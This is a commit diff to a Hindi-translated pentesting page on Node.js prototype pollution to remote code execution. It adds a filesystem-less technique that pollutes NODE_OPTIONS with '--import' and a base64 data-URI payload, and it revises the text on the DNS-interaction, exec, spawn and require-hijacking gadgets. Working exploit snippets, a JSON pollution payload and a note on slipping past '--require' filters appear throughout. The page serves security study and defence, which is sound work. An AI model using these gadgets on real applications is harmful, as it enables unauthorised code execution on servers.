Translated ['src/pentesting-web/deserialization/nodejs-proto-prototype-p

This commit is contained in:
Translator 2025-08-04 14:16:48 +00:00
parent f7328f5a39
commit eae7054179

View File

@ -61,17 +61,17 @@ ArrayPrototypePush(envPairs, `${key}=${value}`); // <-- Pollution
}
}
```
कोड की जांच करें, आप देख सकते हैं कि **`envPairs`** को **`.env`** विशेषता को **pollute** करके **poison** करना संभव है।
कोड की जांच करें, आप देख सकते हैं कि **`envPairs`** को **`attribute `.env`** को **pollute** करके ज़हर दिया जा सकता है।
### **`__proto__` को Poison करना**
### **`__proto__` को ज़हर देना**
> [!WARNING]
> ध्यान दें कि **`child_process`** लाइब्रेरी के **`normalizeSpawnArguments`** फ़ंक्शन के कारण, जब कुछ ऐसा कॉल किया जाता है जिससे प्रक्रिया के लिए **एक नया env वेरिएबल सेट** किया जा सके, तो आपको बस **कुछ भी pollute** करने की आवश्यकता होती है।\
> उदाहरण के लिए, यदि आप `__proto__.avar="valuevar"` करते हैं, तो प्रक्रिया एक वेरिएबल के साथ स्पॉन होगी जिसका नाम `avar` और मान `valuevar` होगा।
> ध्यान दें कि **`child_process`** लाइब्रेरी के **`normalizeSpawnArguments`** फ़ंक्शन के काम करने के तरीके के कारण, जब कुछ ऐसा कॉल किया जाता है जिससे **प्रक्रिया के लिए एक नया env वेरिएबल सेट** किया जा सके, तो आपको बस **कुछ भी प्रदूषित** करने की आवश्यकता होती है।\
> उदाहरण के लिए, यदि आप `__proto__.avar="valuevar"` करते हैं, तो प्रक्रिया एक वेरिएबल के साथ शुरू की जाएगी जिसका नाम `avar` और मान `valuevar` होगा।
>
> हालाँकि, **env वेरिएबल को पहला होने के लिए** आपको **`.env` विशेषता को pollute** करना होगा और (केवल कुछ तरीकों में) वह वेरिएबल **पहला** होगा (हमले की अनुमति देता है)।
> हालाँकि, **env वेरिएबल को पहला होने के लिए** आपको **`.env` attribute** को **pollute** करना होगा और (केवल कुछ तरीकों में) वह वेरिएबल **पहला** होगा (हमले की अनुमति देता है)।
>
> यही कारण है कि **`NODE_OPTIONS`** निम्नलिखित हमले में **`.env`** के अंदर नहीं है।
> यही कारण है कि **`NODE_OPTIONS`** निम्नलिखित हमले में **`.env`** के अंदर **नहीं है**
```javascript
const { execSync, fork } = require("child_process")
@ -124,7 +124,7 @@ var proc = fork("a_file.js")
पिछले वाले के समान एक पेलोड कुछ परिवर्तनों के साथ [**इस लेख**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) में प्रस्तावित किया गया था। मुख्य अंतर हैं:
- `/proc/self/environ` फ़ाइल के अंदर nodejs **payload** को संग्रहीत करने के बजाय, यह इसे **`/proc/self/cmdline`** के **argv0** के अंदर संग्रहीत करता है।
- `/proc/self/environ` फ़ाइल के अंदर nodejs **payload** को स्टोर करने के बजाय, यह इसे **`/proc/self/cmdline`** के **argv0** के अंदर स्टोर करता है।
- फिर, **`NODE_OPTIONS`** के माध्यम से `/proc/self/environ` फ़ाइल की आवश्यकता करने के बजाय, यह **`/proc/self/cmdline`** की आवश्यकता करता है।
```javascript
const { execSync, fork } = require("child_process")
@ -149,9 +149,50 @@ clone(USERINPUT)
var proc = fork("a_file.js")
// This should create the file /tmp/pp2rec
```
## DNS Interaction
## Filesystem-less PP2RCE via `--import` (Node ≥ 19)
निम्नलिखित पेलोड्स का उपयोग करके, हम NODE_OPTIONS env var का दुरुपयोग कर सकते हैं जिसे हमने पहले चर्चा की थी और यह पता कर सकते हैं कि क्या यह DNS इंटरैक्शन के साथ काम करता है:
> [!NOTE]
> **Node.js 19** से CLI फ्लैग `--import` को `NODE_OPTIONS` के माध्यम से उसी तरह पास किया जा सकता है जैसे `--require` किया जा सकता है। `--require` के विपरीत, `--import` **data-URIs** को समझता है इसलिए हमलावर को **फाइल-सिस्टम पर लिखने की आवश्यकता नहीं है**। यह गैजेट लॉक्ड-डाउन या केवल पढ़ने वाले वातावरण में कहीं अधिक विश्वसनीय बनाता है।
>
> इस तकनीक को पहली बार मई 2023 में PortSwigger अनुसंधान द्वारा सार्वजनिक रूप से दस्तावेजीकृत किया गया था और तब से इसे कई CTF चुनौतियों में पुन: उत्पन्न किया गया है।
हमला वैचारिक रूप से ऊपर दिखाए गए `--require /proc/self/*` ट्रिक्स के समान है, लेकिन एक फ़ाइल की ओर इशारा करने के बजाय हम पेलोड को सीधे एक base64-encoded `data:` URL में एम्बेड करते हैं:
```javascript
const { fork } = require("child_process")
// Manual pollution
b = {}
// Javascript that is executed once Node parses the import URL
const js = "require('child_process').execSync('touch /tmp/pp2rce_import')";
const payload = `data:text/javascript;base64,${Buffer.from(js).toString('base64')}`;
b.__proto__.NODE_OPTIONS = `--import ${payload}`;
// any key that will force spawn (fork) same as earlier examples
fork("./a_file.js");
```
कमजोर merge/clone sink का दुरुपयोग करना जो पृष्ठ के शीर्ष पर दिखाया गया है:
```javascript
USERINPUT = JSON.parse('{"__proto__":{"NODE_OPTIONS":"--import data:text/javascript;base64,cmVxdWlyZSgnY2hpbGRfcHJvY2VzcycpLmV4ZWNTeW5jKCd0b3VjaCBcL3RtcFwvcHAycmNlX2ltcG9ydCcp"}}');
clone(USERINPUT);
// Gadget trigger
fork("./a_file.js");
// → creates /tmp/pp2rce_import
```
### क्यों `--import` मदद करता है
1. **कोई डिस्क इंटरैक्शन नहीं** पेलोड पूरी तरह से प्रक्रिया कमांड लाइन और वातावरण के अंदर यात्रा करता है।
2. **ESM-केवल वातावरण के साथ काम करता है** `--import` आधुनिक Node रिलीज़ में JavaScript को प्रीलोड करने का मानक तरीका है जो ECMAScript Modules पर डिफ़ॉल्ट होता है।
3. **कुछ `--require` अनुमति-सूचियों को बायपास करता है** कुछ हार्डनिंग पुस्तकालय केवल `--require` को फ़िल्टर करते हैं, `--import` को बिना छुए छोड़ देते हैं।
> [!WARNING]
> `NODE_OPTIONS` में `--import` समर्थन अभी भी नवीनतम **Node 22.2.0** (जून 2025) में मौजूद है। Node कोर टीम भविष्य में डेटा-URI को प्रतिबंधित करने पर चर्चा कर रही है, लेकिन लेखन के समय कोई समाधान उपलब्ध नहीं है।
---
## DNS इंटरैक्शन
निम्नलिखित पेलोड का उपयोग करके, हम NODE_OPTIONS env var का दुरुपयोग कर सकते हैं जिसे हमने पहले चर्चा की थी और यह पता लगा सकते हैं कि क्या यह DNS इंटरैक्शन के साथ काम करता है:
```json
{
"__proto__": {
@ -161,7 +202,7 @@ var proc = fork("a_file.js")
}
}
```
या, डोमेन के लिए WAFs से पूछताछ से बचने के लिए:
या, डोमेन के लिए WAFs से पूछने से बचने के लिए:
```json
{
"__proto__": {
@ -177,7 +218,7 @@ var proc = fork("a_file.js")
<details>
<summary><code>exec</code> शोषण</summary>
<summary><code>exec</code> exploitation</summary>
```javascript
// environ trick - not working
// It's not possible to pollute the .env attr to create a first env var
@ -227,10 +268,10 @@ var proc = execFile("/usr/bin/node")
// Windows - not working
```
**`execFile`** के काम करने के लिए यह **आवश्यक है कि node को निष्पादित करें** ताकि NODE_OPTIONS काम कर सके।\
यदि यह **node** को निष्पादित नहीं कर रहा है, तो आपको यह पता लगाना होगा कि आप **पर्यावरण चर** के साथ जो कुछ भी निष्पादित हो रहा है, उसकी **निष्पादन को कैसे बदल सकते हैं** और उन्हें सेट करें।
**`execFile`** के काम करने के लिए यह **ज़रूरी है कि node को चलाया जाए** ताकि NODE_OPTIONS काम कर सके।\
अगर यह **node** को नहीं चला रहा है, तो आपको यह पता लगाना होगा कि आप **पर्यावरण चर** के साथ जो कुछ भी चलाया जा रहा है, उसकी **कार्यवाही को कैसे बदल सकते हैं** और उन्हें सेट करें।
**अन्य** तकनीकें इस आवश्यकता के बिना **काम करती हैं** क्योंकि यह **संभव है** कि **जो निष्पादित होता है** उसे प्रोटोटाइप प्रदूषण के माध्यम से **संशोधित किया जा सके**। (इस मामले में, भले ही आप `.shell` को प्रदूषित कर सकें, आप उस चीज़ को प्रदूषित नहीं करेंगे जो निष्पादित हो रही है)।
**अन्य** तकनीकें इस आवश्यकता के बिना **काम करती हैं** क्योंकि यह **संभव है** कि **जो चलाया जा रहा है** उसे प्रोटोटाइप प्रदूषण के माध्यम से **संशोधित किया जा सके**। (इस मामले में, भले ही आप `.shell` को प्रदूषित कर सकें, आप उस चीज़ को प्रदूषित नहीं कर पाएंगे जो चल रही है)।
</details>
@ -463,12 +504,12 @@ var proc = spawnSync("something")
## स्पॉन को मजबूर करना
पिछले उदाहरणों में आपने देखा कि गेजेट को ट्रिगर करने के लिए एक कार्यक्षमता की आवश्यकता होती है जो **`spawn`** को **कॉल** करती है (कुछ निष्पादित करने के लिए उपयोग किए जाने वाले **`child_process`** के सभी तरीके इसे कॉल करते हैं)। पिछले उदाहरण में यह **कोड का हिस्सा** था, लेकिन अगर कोड **इसे** कॉल नहीं कर रहा है तो क्या होगा।
पिछले उदाहरणों में आपने देखा कि कैसे गैजेट को ट्रिगर किया जाए, इसके लिए एक कार्यक्षमता की आवश्यकता होती है जो **`spawn`** को **कॉल** करती है (जो कुछ निष्पादित करने के लिए **`child_process`** के सभी तरीके इसे कॉल करते हैं)। पिछले उदाहरण में यह **कोड का हिस्सा** था, लेकिन अगर कोड **इसे** कॉल **नहीं** कर रहा है तो क्या होगा।
### एक आवश्यक फ़ाइल पथ को नियंत्रित करना
### एक require फ़ाइल पथ को नियंत्रित करना
इस [**अन्य लेख**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) में उपयोगकर्ता उस फ़ाइल पथ को नियंत्रित कर सकता है जहाँ **`require`** निष्पादित होगा। उस परिदृश्य में हमलावर को बस **सिस्टम के अंदर एक `.js` फ़ाइल खोजने की आवश्यकता है** जो **आयात करते समय एक स्पॉन विधि को निष्पादित करेगी।**\
आयात करते समय स्पॉन फ़ंक्शन को कॉल करने वाली सामान्य फ़ाइलों के कुछ उदाहरण हैं:
इस [**अन्य लेख**](https://blog.sonarsource.com/blitzjs-prototype-pollution/) में उपयोगकर्ता उस फ़ाइल पथ को नियंत्रित कर सकता है जहाँ **`require`** निष्पादित होगा। उस परिदृश्य में हमलावर को बस **सिस्टम के अंदर एक `.js` फ़ाइल खोजने की आवश्यकता है** जो **आयात करने पर एक स्पॉन विधि को निष्पादित करेगी।**\
आयात करने पर स्पॉन फ़ंक्शन को कॉल करने वाली सामान्य फ़ाइलों के कुछ उदाहरण हैं:
- /path/to/npm/scripts/changelog.js
- /opt/yarn-v1.22.19/preinstall.js
@ -502,14 +543,14 @@ done
> [!WARNING]
> **पिछली तकनीक की आवश्यकता है** कि **उपयोगकर्ता उस फ़ाइल का पथ नियंत्रित करे** जिसे **आवश्यक** किया जा रहा है। लेकिन यह हमेशा सच नहीं है।
हालांकि, यदि कोड प्रोटोटाइप प्रदूषण के बाद एक require को निष्पादित करने जा रहा है, तो भले ही आप उस पथ को **नियंत्रित न करें** जिसे आवश्यक किया जा रहा है, आप **प्रोटोटाइप प्रदूषण का दुरुपयोग करके एक अलग पथ को मजबूर कर सकते हैं**। इसलिए भले ही कोड की पंक्ति इस तरह हो `require("./a_file.js")` या `require("bytes")`, यह **आपके प्रदूषित पैकेज को आवश्यक करेगा**।
हालांकि, यदि कोड प्रोटोटाइप प्रदूषण के बाद एक require को निष्पादित करने जा रहा है, भले ही आप **उस पथ को नियंत्रित न करें** जिसे आवश्यक किया जा रहा है, आप **प्रोटोटाइप प्रदूषण का दुरुपयोग करके एक अलग पथ को मजबूर कर सकते हैं**। इसलिए भले ही कोड की पंक्ति इस तरह हो `require("./a_file.js")` या `require("bytes")`, यह **उस पैकेज को आवश्यक करेगा जिसे आपने प्रदूषित किया है**।
इसलिए, यदि आपके प्रोटोटाइप प्रदूषण के बाद एक require निष्पादित किया जाता है और कोई spawn फ़ंक्शन नहीं है, तो यह हमला है:
- सिस्टम के अंदर एक **`.js` फ़ाइल खोजें** जो जब **आवश्यक** की जाएगी तो **`child_process` का उपयोग करके कुछ निष्पादित करेगी**
- यदि आप उस प्लेटफ़ॉर्म पर फ़ाइलें अपलोड कर सकते हैं जिसे आप हमला कर रहे हैं, तो आप ऐसी फ़ाइल अपलोड कर सकते हैं
- **`.js` फ़ाइल के require लोड को मजबूर करने के लिए पथों को प्रदूषित करें** जो child_process के साथ कुछ निष्पादित करेगी
- जब child_process निष्पादन फ़ंक्शन को कॉल किया जाता है तो **मनमाने कोड को निष्पादित करने के लिए environ/cmdline को प्रदूषित करें** (प्रारंभिक तकनीकों को देखें)
- जब child_process निष्पादन फ़ंक्शन को कॉल किया जाता है तो मनमाना कोड निष्पादित करने के लिए **पर्यावरण/cmdline को प्रदूषित करें** (प्रारंभिक तकनीकों को देखें)
#### पूर्ण require
@ -556,7 +597,7 @@ fork("anything")
#### सापेक्ष आवश्यकता - 1
यदि एक **सापेक्ष पथ** को एक निरपेक्ष पथ के बजाय लोड किया जाता है, तो आप नोड को **एक अलग पथ लोड** करने के लिए मजबूर कर सकते हैं:
यदि एक **सापेक्ष पथ** को लोड किया जाता है बजाय एक निरपेक्ष पथ के, तो आप नोड को **एक अलग पथ लोड** करने के लिए मजबूर कर सकते हैं:
{{#tabs}}
{{#tab name="exploit"}}
@ -636,7 +677,7 @@ fork("/path/to/anything")
{{#endtab}}
{{#endtabs}}
#### सापेक्ष आवश्यकता - 3
#### Relative require - 3
पिछले वाले के समान, यह [**इस लेख**](https://blog.huli.tw/2022/12/26/en/ctf-2022-web-js-summary/#balsn-ctf-2022-2linenodejs) में पाया गया।
```javascript
@ -660,17 +701,21 @@ require("./usage.js")
```
## VM Gadgets
कागज में [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) यह भी संकेत दिया गया है कि **`vm`** पुस्तकालय के कुछ तरीकों से **`contextExtensions`** का नियंत्रण एक गैजेट के रूप में उपयोग किया जा सकता है।\
कागज में [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf) यह भी संकेत दिया गया है कि **`vm`** पुस्तकालय के कुछ तरीकों से **`contextExtensions`** का नियंत्रण एक गैजेट के रूप में उपयोग किया जा सकता है।\
हालांकि, पिछले **`child_process`** तरीकों की तरह, इसे नवीनतम संस्करणों में **फिक्स** किया गया है।
## Fixes & Unexpected protections
कृपया ध्यान दें कि प्रोटोटाइप प्रदूषण तब काम करता है जब एक वस्तु का **attribute** जो एक्सेस किया जा रहा है, **undefined** है। यदि **कोड** में उस **attribute** को **set** किया गया है, तो आप इसे **overwrite** नहीं कर पाएंगे।
जून 2022 में [**इस कमिट**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) से var `options` एक **`kEmptyObject`** है, न कि एक `{}`। जो **प्रोटोटाइप प्रदूषण** को **options** के **attributes** को RCE प्राप्त करने से प्रभावित होने से रोकता है।\
कम से कम v18.4.0 से यह सुरक्षा **लागू** की गई है, और इसलिए `spawn` और `spawnSync` **exploits** जो तरीकों को प्रभावित करते थे, अब **काम नहीं करते** (यदि कोई `options` का उपयोग नहीं किया गया है!)।
जून 2022 में [**इस कमिट**](https://github.com/nodejs/node/commit/20b0df1d1eba957ea30ba618528debbe02a97c6a) से var `options` एक **`kEmptyObject`** है, न कि एक `{}`। जो **प्रोटोटाइप प्रदूषण** को **options** के **attributes** को RCE प्राप्त करने से प्रभावित करने से रोकता है।\
कम से कम v18.4.0 से यह सुरक्षा **लागू** की गई है, और इसलिए `spawn` और `spawnSync` **exploits** जो तरीकों को प्रभावित करते हैं **अब काम नहीं करते** (यदि कोई `options` का उपयोग नहीं किया गया है!)।
[**इस कमिट**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) में vm पुस्तकालय से **`contextExtensions`** का **प्रोटोटाइप प्रदूषण** को **`{}`** के बजाय **`kEmptyObject`** पर सेट करके **कुछ हद तक फिक्स** किया गया था।
[**इस कमिट**](https://github.com/nodejs/node/commit/0313102aaabb49f78156cadc1b3492eac3941dd9) में vm पुस्तकालय के **`contextExtensions`** का **प्रोटोटाइप प्रदूषण** **भी तरह से फिक्स** किया गया है, जिसमें विकल्पों को **`kEmptyObject`** पर सेट किया गया है, न कि **`{}`** पर।
> [!INFO]
> **Node 20 (अप्रैल 2023) और Node 22 (अप्रैल 2025)** ने आगे की सुरक्षा प्रदान की: कई `child_process` सहायक अब उपयोगकर्ता द्वारा प्रदान किए गए `options` को **`CopyOptions()`** के साथ कॉपी करते हैं, न कि उन्हें संदर्भ द्वारा उपयोग करते हैं। यह `stdio` जैसे नेस्टेड ऑब्जेक्ट्स के प्रदूषण को रोकता है, लेकिन **ऊपर वर्णित `NODE_OPTIONS` / `--import` ट्रिक्स के खिलाफ सुरक्षा नहीं करता** उन फ्लैग्स को अभी भी पर्यावरण चर के माध्यम से स्वीकार किया जाता है।
> एक पूर्ण फिक्स को यह सीमित करना होगा कि कौन से CLI फ्लैग्स माता-पिता प्रक्रिया से प्रकट किए जा सकते हैं, जिसे Node Issue #50559 में ट्रैक किया जा रहा है।
### **Other Gadgets**
@ -682,6 +727,8 @@ require("./usage.js")
- [https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/](https://research.securitum.com/prototype-pollution-rce-kibana-cve-2019-7609/)
- [https://blog.sonarsource.com/blitzjs-prototype-pollution/](https://blog.sonarsource.com/blitzjs-prototype-pollution/)
- [https://arxiv.org/pdf/2207.11171.pdf](https://arxiv.org/pdf/2207.11171.pdf)
- [https://portswigger.net/research/prototype-pollution-node-no-filesystem](https://portswigger.net/research/prototype-pollution-node-no-filesystem)
- [https://www.nodejs-security.com/blog/2024/prototype-pollution-regression](https://www.nodejs-security.com/blog/2024/prototype-pollution-regression)
- [https://portswigger.net/research/server-side-prototype-pollution](https://portswigger.net/research/server-side-prototype-pollution)
{{#include ../../../banners/hacktricks-training.md}}